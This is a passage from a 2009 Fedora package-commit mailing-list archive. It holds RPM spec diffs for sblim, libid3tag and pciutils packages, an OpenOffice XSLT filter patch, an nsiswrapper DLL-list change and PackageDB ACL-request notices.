 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: nsiswrapper.pl
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-nsiswrapper/F-12/nsiswrapper.pl,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- nsiswrapper.pl	9 Jun 2009 08:50:41 -0000	1.3
+++ nsiswrapper.pl	12 Oct 2009 13:10:49 -0000	1.4
@@ -505,7 +505,8 @@ sub is_windows_system_dll
 	$_ eq 'winmm.dll' ||
 	$_ eq 'wsock32.dll' ||
 	$_ eq 'ws2_32.dll' ||
-	$_ eq 'wldap32.dll'
+	$_ eq 'wldap32.dll' ||
+	$_ eq 'version.dll'
 }
 
 # Add Gtk dependencies, if --with-gtk.



From vcrhonek at fedoraproject.org  Mon Oct 12 13:16:27 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Mon, 12 Oct 2009 13:16:27 +0000 (UTC)
Subject: rpms/sblim-testsuite/EL-5 sblim-testsuite.spec, 1.4, 1.5 sources,
	1.2, 1.3
Message-ID: <20091012131627.4B90A11C00DB@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-testsuite/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15260

Modified Files:
	sblim-testsuite.spec sources 
Log Message:
Initial commit


Index: sblim-testsuite.spec
===================================================================
RCS file: /cvs/extras/rpms/sblim-testsuite/EL-5/sblim-testsuite.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sblim-testsuite.spec	17 Sep 2006 22:25:23 -0000	1.4
+++ sblim-testsuite.spec	12 Oct 2009 13:16:27 -0000	1.5
@@ -1,55 +1,60 @@
-#
-# $Id$
-#
-# Package spec for sblim-testsuite
-#
-
-BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-BuildArch: noarch
-
-Summary: SBLIM testsuite
-Name: sblim-testsuite
-Version: 1.2.4
-Release: 3%{?dist}
-Group: Systems Management/Base
-URL: http://www.sourceforge.net
-License: CPL
+%define debug_package %{nil}
 
-Source0: http://prdownloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
+Name:           sblim-testsuite
+Version:        1.2.5
+Release:        4%{?dist}
+Summary:        SBLIM testsuite
+
+Group:          Applications/System
+License:        CPL
+URL:            http://sblim.wiki.sourceforge.net/
+Source0:        http://downloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
+BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+BuildArch:      noarch
 
-Requires: perl >= 5.6
-Requires: sblim-wbemcli >= 1.5
+Requires:       perl >= 5.6
+Requires:       sblim-wbemcli >= 1.5
 
-%Description
-SBLIM automated testsuite scripts
+%description
+SBLIM automated testsuite scripts.
 
 %prep
-
-%setup
+%setup -q
 
 %build
-
 %configure
-make
+make %{?_smp_mflags}
 
 %install
-[ "$RPM_BUILD_ROOT" != "/" ] && rm -rf $RPM_BUILD_ROOT
-make DESTDIR=$RPM_BUILD_ROOT install
-
+rm -rf $RPM_BUILD_ROOT
+make install DESTDIR=$RPM_BUILD_ROOT
 
 %clean
-[ "$RPM_BUILD_ROOT" != "/" ] && rm -rf $RPM_BUILD_ROOT
+rm -rf $RPM_BUILD_ROOT
 
 %files
-%defattr(-,root,root)
+%defattr(-,root,root,-)
 %doc %{_datadir}/doc/%{name}-%{version}
 %{_datadir}/%{name}
 %{_localstatedir}/lib/%{name}
 
 %changelog
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.2.5-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.2.5-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Tue Nov  4 2008 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.2.5-2
+- Remove debug package, fix URL, make setup quiet
+- Spec file cleanup, rpmlint check
+
+* Fri Oct 24 2008 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.2.5-1
+- Update to 1.2.5
+  Resolves: #468327
 
-* Thu Oct 28 2005 Viktor Mihajlovski <mihajlov at de.ibm.com> 1.2.4-1
-  - New release
+* Thu Oct 28 2005 Viktor Mihajlovski <mihajlov at de.ibm.com> - 1.2.4-1
+- New release
 
-* Thu Jul 28 2005 Viktor Mihajlovski <mihajlov at de.ibm.com> 1.2.3-0
-  - Updates for rpmlint complaints
+* Thu Jul 28 2005 Viktor Mihajlovski <mihajlov at de.ibm.com> - 1.2.3-0
+- Updates for rpmlint complaints


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-testsuite/EL-5/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	8 Feb 2006 17:24:29 -0000	1.2
+++ sources	12 Oct 2009 13:16:27 -0000	1.3
@@ -1 +1 @@
-869d2c2f13181aee58aabd7aeb35f72d  sblim-testsuite-1.2.4.tar.bz2
+7a2cd05e496c860723783b091680d4aa  sblim-testsuite-1.2.5.tar.bz2



From dtardon at fedoraproject.org  Mon Oct 12 13:19:33 2009
From: dtardon at fedoraproject.org (David Tardon)
Date: Mon, 12 Oct 2009 13:19:33 +0000 (UTC)
Subject: rpms/openoffice.org/devel
	openoffice.org-3.2.0.ooo105827.filter.xpath-on-rtf-not-allowed.patch, 
	NONE, 1.1 openoffice.org.spec, 1.2028, 1.2029
Message-ID: <20091012131933.374BA11C00DB@cvs1.fedora.phx.redhat.com>

Author: dtardon

Update of /cvs/extras/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15643

Modified Files:
	openoffice.org.spec 
Added Files:
	openoffice.org-3.2.0.ooo105827.filter.xpath-on-rtf-not-allowed.patch 
Log Message:
 add openoffice.org-3.2.0.ooo105827.filter.xpath-on-rtf-not-allowed.patch

openoffice.org-3.2.0.ooo105827.filter.xpath-on-rtf-not-allowed.patch:
 body.xsl |   44 +++++++++++++++++++++++++++++++++++++++++---
 1 file changed, 41 insertions(+), 3 deletions(-)

--- NEW FILE openoffice.org-3.2.0.ooo105827.filter.xpath-on-rtf-not-allowed.patch ---
Index: filter/source/xslt/odf2xhtml/export/xhtml/body.xsl
===================================================================
--- filter/source/xslt/odf2xhtml/export/xhtml/body.xsl	(revision 276736)
+++ filter/source/xslt/odf2xhtml/export/xhtml/body.xsl	(working copy)
@@ -61,9 +61,17 @@
     <xsl:key match="style:master-page" name="masterPageElements" use="@style:name"/>
     <xsl:key match="style:page-layout" name="pageLayoutElements" use="@style:name"/>
     <xsl:key name="writingModeStyles" match="/*/office:styles/style:style/style:paragraph-properties/@style:writing-mode | /*/office:automatic-styles/style:style/style:paragraph-properties/@style:writing-mode" use="'test'"/>
+
     <xsl:template name="create-body">
         <xsl:param name="globalData"/>
+        <xsl:call-template name="create-body.collect-page-properties">
+            <xsl:with-param name="globalData" select="$globalData"/>
+        </xsl:call-template>
+    </xsl:template>
 
+    <xsl:template name="create-body.collect-page-properties">
+        <xsl:param name="globalData"/>
+
 		<!-- approximation to find the correct master page style (with page dimensions) -->
         <xsl:variable name="masterPageNames">
 			<!-- Loop over every style:style containing a @style:master-page-name attribute -->
@@ -76,13 +84,13 @@
                 </xsl:if>
             </xsl:for-each>
         </xsl:variable>
-				
+
 		<!-- Take the first of the masterpage list and get the according style:master-page element and find the @style:page-layout-name  -->
         <xsl:variable name="pageLayoutName" select="key('masterPageElements', substring-before($masterPageNames,';'))/@style:page-layout-name"/>
-        <xsl:variable name="pageProperties">
+        <xsl:variable name="pagePropertiesRTF">
             <xsl:choose>
                 <xsl:when test="not($pageLayoutName) or $pageLayoutName = ''">
-                    <xsl:copy-of select="$globalData/styles-file/*/office:automatic-styles/style:page-layout[1]/style:page-layout-properties"/>
+                    <xsl:value-of select="$globalData/styles-file/*/office:automatic-styles/style:page-layout[1]/style:page-layout-properties"/>
                 </xsl:when>
                 <xsl:otherwise>
 					<!-- Find the according style:page-layout and store the properties in a variable  -->
@@ -90,6 +98,36 @@
                 </xsl:otherwise>
             </xsl:choose>
         </xsl:variable>
+
+        <xsl:choose>
+            <xsl:when test="function-available('common:node-set')">
+                <xsl:call-template name="create-body.create">
+                    <xsl:with-param name="globalData" select="common:node-set($globalData)"/>
+                    <xsl:with-param name="pageProperties" select="common:node-set($pagePropertiesRTF)"/>
+                </xsl:call-template>
+            </xsl:when>
+            <xsl:when test="function-available('xalan:nodeset')">
+                <xsl:call-template name="create-body.create">
+                    <xsl:with-param name="globalData" select="xalan:nodeset($globalData)"/>
+                    <xsl:with-param name="pageProperties" select="xalan:nodeset($pagePropertiesRTF)"/>
+                </xsl:call-template>
+            </xsl:when>
+            <xsl:when test="function-available('xt:node-set')">
+                <xsl:call-template name="create-body.create">
+                    <xsl:with-param name="globalData" select="xt:node-set($globalData)"/>
+                    <xsl:with-param name="pageProperties" select="xt:node-set($pagePropertiesRTF)"/>
+                </xsl:call-template>
+            </xsl:when>
+            <xsl:otherwise>
+                <xsl:message terminate="yes">The required node-set function was not found!</xsl:message>
+            </xsl:otherwise>
+        </xsl:choose>
+    </xsl:template>
+
+    <xsl:template name="create-body.create">
+        <xsl:param name="globalData"/>
+        <xsl:param name="pageProperties"/>
+
         <xsl:element name="body">
 			<!-- direction of text flow -->
             <xsl:variable name="writingMode" select="$pageProperties/style:page-layout-properties/@style:writing-mode"/>


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/extras/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2028
retrieving revision 1.2029
diff -u -p -r1.2028 -r1.2029
--- openoffice.org.spec	12 Oct 2009 12:53:33 -0000	1.2028
+++ openoffice.org.spec	12 Oct 2009 13:19:32 -0000	1.2029
@@ -117,6 +117,7 @@ Patch43: workspace.vcl106.patch
 Patch44: openoffice.org-3.1.1.ooo105784.vcl.sniffscriptforsubs.patch
 Patch45: workspace.dba32h.patch
 Patch46: openoffice.org-3.2.0.ooo105815.officecfg.default-font-for-si-locale.patch
+Patch47: openoffice.org-3.2.0.ooo105827.filter.xpath-on-rtf-not-allowed.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1623,6 +1624,7 @@ cat %{PATCH10} >> svtools/source/dialogs
 %patch44 -p0 -b .ooo105784.vcl.sniffscriptforsubs.patch
 %patch45 -p0 -b .workspace.dba32h.patch
 %patch46 -p0 -b .officecfg.default-font-for-si-locale.patch
+%patch47 -p0 -b .ooo105827.filter.xpath-on-rtf-not-allowed.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4183,6 +4185,7 @@ fi
 - Resolves: rhbz#528409 [si_LK] Default font in oowriter is not
   Language Default (LKLUG), but DejaVu Sans (dtardon)
 - update openoffice.org-3.1.0.ooo98137.filter.redeclared-variables.patch (dtardon)
+- add openoffice.org-3.2.0.ooo105827.filter.xpath-on-rtf-not-allowed.patch (dtardon)
 
 * Thu Oct 08 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.11
 - merge openoffice.org-3.1.1.ooo104157.svx.crashonencryptparse.patch



From pkgdb at fedoraproject.org  Mon Oct 12 13:23:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 13:23:38 +0000
Subject: [pkgdb] nforenum: atorkhov has requested watchcommits
Message-ID: <20091012132338.BF06C10F875@bastion2.fedora.phx.redhat.com>

atorkhov has requested the watchcommits acl on nforenum (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/nforenum



From pkgdb at fedoraproject.org  Mon Oct 12 13:23:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 13:23:39 +0000
Subject: [pkgdb] nforenum: atorkhov has requested commit
Message-ID: <20091012132339.4A55910F882@bastion2.fedora.phx.redhat.com>

atorkhov has requested the commit acl on nforenum (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/nforenum



From pkgdb at fedoraproject.org  Mon Oct 12 13:23:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 13:23:42 +0000
Subject: [pkgdb] nforenum: atorkhov has requested watchbugzilla
Message-ID: <20091012132341.F0DBE10F889@bastion2.fedora.phx.redhat.com>

atorkhov has requested the watchbugzilla acl on nforenum (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/nforenum



From pkgdb at fedoraproject.org  Mon Oct 12 13:23:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 13:23:42 +0000
Subject: [pkgdb] nforenum: atorkhov has requested watchbugzilla
Message-ID: <20091012132343.0AA0910F875@bastion2.fedora.phx.redhat.com>

atorkhov has requested the watchbugzilla acl on nforenum (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/nforenum



From pkgdb at fedoraproject.org  Mon Oct 12 13:23:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 13:23:43 +0000
Subject: [pkgdb] nforenum: atorkhov has requested commit
Message-ID: <20091012132343.639A810F8A8@bastion2.fedora.phx.redhat.com>

atorkhov has requested the commit acl on nforenum (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/nforenum



From pkgdb at fedoraproject.org  Mon Oct 12 13:23:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 13:23:46 +0000
Subject: [pkgdb] nforenum: atorkhov has requested watchcommits
Message-ID: <20091012132346.541AC10F86A@bastion2.fedora.phx.redhat.com>

atorkhov has requested the watchcommits acl on nforenum (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/nforenum



From pkgdb at fedoraproject.org  Mon Oct 12 13:25:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 13:25:27 +0000
Subject: [pkgdb] nforenum: atorkhov has requested watchbugzilla
Message-ID: <20091012132527.8442210F86A@bastion2.fedora.phx.redhat.com>

atorkhov has requested the watchbugzilla acl on nforenum (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/nforenum



From pkgdb at fedoraproject.org  Mon Oct 12 13:25:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 13:25:28 +0000
Subject: [pkgdb] nforenum: atorkhov has requested commit
Message-ID: <20091012132528.9AD5F10F882@bastion2.fedora.phx.redhat.com>

atorkhov has requested the commit acl on nforenum (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/nforenum



From pkgdb at fedoraproject.org  Mon Oct 12 13:25:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 13:25:30 +0000
Subject: [pkgdb] nforenum: atorkhov has requested watchbugzilla
Message-ID: <20091012132530.3E88010F8A3@bastion2.fedora.phx.redhat.com>

atorkhov has requested the watchbugzilla acl on nforenum (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/nforenum



From pkgdb at fedoraproject.org  Mon Oct 12 13:25:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 13:25:30 +0000
Subject: [pkgdb] nforenum: atorkhov has requested commit
Message-ID: <20091012132530.B493010F8A9@bastion2.fedora.phx.redhat.com>

atorkhov has requested the commit acl on nforenum (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/nforenum



From pkgdb at fedoraproject.org  Mon Oct 12 13:25:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 13:25:33 +0000
Subject: [pkgdb] nforenum: atorkhov has requested watchcommits
Message-ID: <20091012132533.7BDE010F8AF@bastion2.fedora.phx.redhat.com>

atorkhov has requested the watchcommits acl on nforenum (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/nforenum



From pkgdb at fedoraproject.org  Mon Oct 12 13:25:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 13:25:31 +0000
Subject: [pkgdb] nforenum: atorkhov has requested watchcommits
Message-ID: <20091012132531.5006F10F8AC@bastion2.fedora.phx.redhat.com>

atorkhov has requested the watchcommits acl on nforenum (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/nforenum



From mmaslano at fedoraproject.org  Mon Oct 12 13:26:33 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Mon, 12 Oct 2009 13:26:33 +0000 (UTC)
Subject: rpms/libid3tag/F-12 libid3tag.spec,1.19,1.20
Message-ID: <20091012132633.B80BD11C00DB@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/libid3tag/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17476

Modified Files:
	libid3tag.spec 
Log Message:
* Mon Oct 12 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 0.15.1b-10
- rebuilt of package with correct licence



Index: libid3tag.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libid3tag/F-12/libid3tag.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- libid3tag.spec	25 Jul 2009 05:56:35 -0000	1.19
+++ libid3tag.spec	12 Oct 2009 13:26:33 -0000	1.20
@@ -1,10 +1,10 @@
 Name:           libid3tag
 Version:        0.15.1b
-Release:        9%{?dist}
+Release:        10%{?dist}
 Summary:        ID3 tag manipulation library
 
 Group:          System Environment/Libraries
-License:        GPLv2+
+License:        GPLv2 or GPL+ or MIT
 URL:            http://www.underbit.com/products/mad/
 Source0:        http://download.sourceforge.net/mad/%{name}-%{version}.tar.gz
 Patch0:         libid3tag-0.15.1b-fix_overflow.patch
@@ -80,6 +80,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 12 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 0.15.1b-10
+- rebuilt of package with correct licence
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.15.1b-9
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From mhlavink at fedoraproject.org  Mon Oct 12 13:29:10 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Mon, 12 Oct 2009 13:29:10 +0000 (UTC)
Subject: rpms/pciutils/F-12 pciutils.spec,1.77,1.78
Message-ID: <20091012132910.1CB6B11C00DB@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/pciutils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17875

Modified Files:
	pciutils.spec 
Log Message:
add info about patches



Index: pciutils.spec
===================================================================
RCS file: /cvs/extras/rpms/pciutils/F-12/pciutils.spec,v
retrieving revision 1.77
retrieving revision 1.78
diff -u -p -r1.77 -r1.78
--- pciutils.spec	12 Oct 2009 12:34:10 -0000	1.77
+++ pciutils.spec	12 Oct 2009 13:29:09 -0000	1.78
@@ -2,15 +2,30 @@ Name:		pciutils
 Version:	3.1.4
 Release: 	3%{?dist}
 Source:		ftp://atrey.karlin.mff.cuni.cz/pub/linux/pci/%{name}-%{version}.tar.gz
+
+#truncate too long names (#205948)
 Patch1: 	pciutils-2.2.4-buf.patch
+
+#don't segfault on systems without PCI bus (#84146)
 Patch2:		pciutils-2.1.10-scan.patch
+
+#use pread/pwrite, ifdef check is obsolete nowadays
 Patch3: 	pciutils-havepread.patch
+
+#change pci.ids directory to hwdata
 Patch6: 	pciutils-2.2.1-idpath.patch
+
+#multilib support
 Patch8: 	pciutils-3.0.2-multilib.patch
+
+#add support for directory with another pci.ids
 Patch9: 	pciutils-dir-d.patch
+
+#platform support 3x
 Patch10:	pciutils-2.2.10-sparc-support.patch
 Patch11:	pciutils-3.0.1-superh-support.patch
 Patch12:	pciutils-3.1.2-arm.patch
+
 License:	GPLv2+
 URL:		http://atrey.karlin.mff.cuni.cz/~mj/pciutils.shtml
 BuildRoot: 	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)



From mhlavink at fedoraproject.org  Mon Oct 12 13:29:51 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Mon, 12 Oct 2009 13:29:51 +0000 (UTC)
Subject: rpms/pciutils/devel pciutils.spec,1.77,1.78
Message-ID: <20091012132951.283D611C00DB@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/pciutils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17964

Modified Files:
	pciutils.spec 
Log Message:
add info about patches



Index: pciutils.spec
===================================================================
RCS file: /cvs/extras/rpms/pciutils/devel/pciutils.spec,v
retrieving revision 1.77
retrieving revision 1.78
diff -u -p -r1.77 -r1.78
--- pciutils.spec	12 Oct 2009 12:32:44 -0000	1.77
+++ pciutils.spec	12 Oct 2009 13:29:51 -0000	1.78
@@ -2,15 +2,30 @@ Name:		pciutils
 Version:	3.1.4
 Release: 	3%{?dist}
 Source:		ftp://atrey.karlin.mff.cuni.cz/pub/linux/pci/%{name}-%{version}.tar.gz
+
+#truncate too long names (#205948)
 Patch1: 	pciutils-2.2.4-buf.patch
+
+#don't segfault on systems without PCI bus (#84146)
 Patch2:		pciutils-2.1.10-scan.patch
+
+#use pread/pwrite, ifdef check is obsolete nowadays
 Patch3: 	pciutils-havepread.patch
+
+#change pci.ids directory to hwdata
 Patch6: 	pciutils-2.2.1-idpath.patch
+
+#multilib support
 Patch8: 	pciutils-3.0.2-multilib.patch
+
+#add support for directory with another pci.ids
 Patch9: 	pciutils-dir-d.patch
+
+#platform support 3x
 Patch10:	pciutils-2.2.10-sparc-support.patch
 Patch11:	pciutils-3.0.1-superh-support.patch
 Patch12:	pciutils-3.1.2-arm.patch
+
 License:	GPLv2+
 URL:		http://atrey.karlin.mff.cuni.cz/~mj/pciutils.shtml
 BuildRoot: 	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)



From vcrhonek at fedoraproject.org  Mon Oct 12 13:34:45 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Mon, 12 Oct 2009 13:34:45 +0000 (UTC)
Subject: rpms/sblim-cmpi-base/EL-5 sblim-cmpi-base.spec, 1.5, 1.6 sources,
	1.2, 1.3
Message-ID: <20091012133445.94B7811C00DB@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-base/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18427

Modified Files:
	sblim-cmpi-base.spec sources 
Log Message:
Initial commit


Index: sblim-cmpi-base.spec
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-base/EL-5/sblim-cmpi-base.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sblim-cmpi-base.spec	4 Oct 2006 23:10:17 -0000	1.5
+++ sblim-cmpi-base.spec	12 Oct 2009 13:34:44 -0000	1.6
@@ -1,127 +1,161 @@
-#
-# $Id$
-#
-# Package spec for sblim-cmpi-base - RedHat/Fedora Flavor
-#
-# Use this SPEC if building for a RH/Fedora System for usage with
-# OpenPegasus
-#
-
-BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-
-Summary: SBLIM Base Providers
-Name: sblim-cmpi-base
-Version: 1.5.4
-Release: 6%{?dist}
-Group: Systems Management/Base
-URL: http://www.sblim.org
-License: CPL
-
-Source0: http://download.sourceforge.net/pub/sourceforge/s/sb/sblim/%{name}-%{version}.tar.bz2
-
-BuildRequires: tog-pegasus-devel >= 2.5
-Requires: tog-pegasus >= 2.5.1
-
-%Description
-Standards Based Linux Instrumentation Base CMPI Providers for
-System-related CIM classes
-
-%Package devel
-Summary: SBLIM Base Instrumentation Header Development Files
-Group: Systems Management/Base
+%define tog_pegasus_version 2:2.5.1
+%define provider_dir %{_libdir}/cmpi
+
+Name:           sblim-cmpi-base
+Version:        1.5.9
+Release:        1%{?dist}
+Summary:        SBLIM CMPI Base Providers
+
+Group:          Applications/System
+License:        CPL
+URL:            http://sblim.wiki.sourceforge.net/
+Source0:        http://downloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
+BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+
+BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
+Requires:       tog-pegasus >= %{tog_pegasus_version}
+
+%description
+SBLIM (Standards Based Linux Instrumentation for Manageability)
+CMPI (Common Manageability Programming Interface) Base Providers
+for System-Related CIM (Common Information Model) classes.
+
+%package devel
+Summary: SBLIM CMPI Base Providers Development Header Files
+Group: Development/Libraries
+BuildRequires: tog-pegasus-devel >= %{tog_pegasus_version}
 Requires: %{name} = %{version}-%{release}
 
-%Description devel
-SBLIM Base Provider Development Package contains header files and 
-link libraries for dependent provider packages
-
-%Package test
-Summary: SBLIM Base Instrumentation Testcase Files
-Group: Systems Management/Base
+%description devel
+SBLIM (Standards Based Linux Instrumentation for Manageability)
+CMPI (Common Manageability Programming Interface) Base Provider
+development header files and link libraries.
+
+%package test
+Summary: SBLIM CMPI Base Providers Test Cases
+Group: Applications/System
+BuildRequires: tog-pegasus-devel >= %{tog_pegasus_version}
 Requires: %{name} = %{version}-%{release}
 Requires: sblim-testsuite
 
-%Description test
-SBLIM Base Provider Testcase Files for the SBLIM Testsuite
+%description test
+SBLIM (Standards Based Linux Instrumentation for Manageability)
+CMPI (Common Manageability Programming Interface) Base Provider
+Testcase Files for the SBLIM Testsuite.
 
 %prep
-
 %setup -q
 
 %build
-
 %configure TESTSUITEDIR=%{_datadir}/sblim-testsuite \
-	CIMSERVER=pegasus
-make %{?_smp_mflags}
+           PROVIDERDIR=%{provider_dir} \
+           CIMSERVER=pegasus
+sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
+sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
+make
 
 %install
-
 rm -rf $RPM_BUILD_ROOT
-
-make DESTDIR=$RPM_BUILD_ROOT install
-
+make install DESTDIR=$RPM_BUILD_ROOT
+cp -fp *OSBase_UnixProcess.h $RPM_BUILD_ROOT/%{_includedir}/sblim
+chmod 644 $RPM_BUILD_ROOT/%{_includedir}/sblim/*OSBase_UnixProcess.h
 # remove unused libtool files
 rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
 rm -f $RPM_BUILD_ROOT/%{_libdir}/cmpi/*a
 
-%pre
+%clean
+rm -rf $RPM_BUILD_ROOT
+
+
+%files
+%defattr(-,root,root,-)
+%docdir %{_datadir}/doc/%{name}-%{version}
+%{_datadir}/doc/%{name}-%{version}
+%{_datadir}/%{name}
+%{_libdir}/*.so.*
+%{provider_dir}/*.so*
+
+%files devel
+%defattr(-,root,root,-)
+%{_includedir}/*
+%{_libdir}/*.so
+
+%files test
+%defattr(-,root,root,-)
+%{_datadir}/sblim-testsuite
 
+%pre
 %define SCHEMA %{_datadir}/%{name}/Linux_Base.mof
 %define REGISTRATION %{_datadir}/%{name}/Linux_Base.registration
-
 # If upgrading, deregister old version
 if [ $1 -gt 1 ]
 then
-  %{_datadir}/%{name}/provider-register.sh -d -t pegasus \
-	-r %{REGISTRATION} -m %{SCHEMA} > /dev/null 2>&1
+  %{_datadir}/%{name}/provider-register.sh \
+        -d -t pegasus \
+        -m %{SCHEMA} \
+        -r %{REGISTRATION} > /dev/null  2>&1 || :;
+  # don't let registration failure when server not running fail upgrade!
 fi
 
 %post
-# Register Schema and Provider - this is higly provider specific
-
-%{_datadir}/%{name}/provider-register.sh -t pegasus \
-	-r %{REGISTRATION} -m %{SCHEMA} > /dev/null  2>&1
-
 /sbin/ldconfig
+if [ $1 -ge 1 ]
+then
+# Register Schema and Provider - this is higly provider specific
+  %{_datadir}/%{name}/provider-register.sh \
+        -t pegasus \
+        -m %{SCHEMA} \
+        -r %{REGISTRATION} > /dev/null  2>&1 || :;
+  # don't let registration failure when server not running fail install!
+fi
 
 %preun
 # Deregister only if not upgrading 
 if [ $1 -eq 0 ]
 then
-  %{_datadir}/%{name}/provider-register.sh -d -t pegasus \
-	-r %{REGISTRATION} -m %{SCHEMA} > /dev/null 2>&1
+  %{_datadir}/%{name}/provider-register.sh \
+        -d -t pegasus \
+        -m %{SCHEMA} \
+        -r %{REGISTRATION} > /dev/null  2>&1 || :;
+  # don't let registration failure when server not running fail erase!
 fi
 
 %postun -p /sbin/ldconfig
 
-%clean
+%changelog
+* Thu Aug 27 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.5.9-1
+- Update to 1.5.9
 
-rm -rf $RPM_BUILD_ROOT
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.5.7-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
-%files
+* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.5.7-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 
-%defattr(-,root,root) 
-%docdir %{_datadir}/doc/%{name}-%{version}
-%{_datadir}/%{name}
-%{_datadir}/doc/%{name}-%{version}
-%{_libdir}/*.so.*
-%{_libdir}/cmpi/*.so
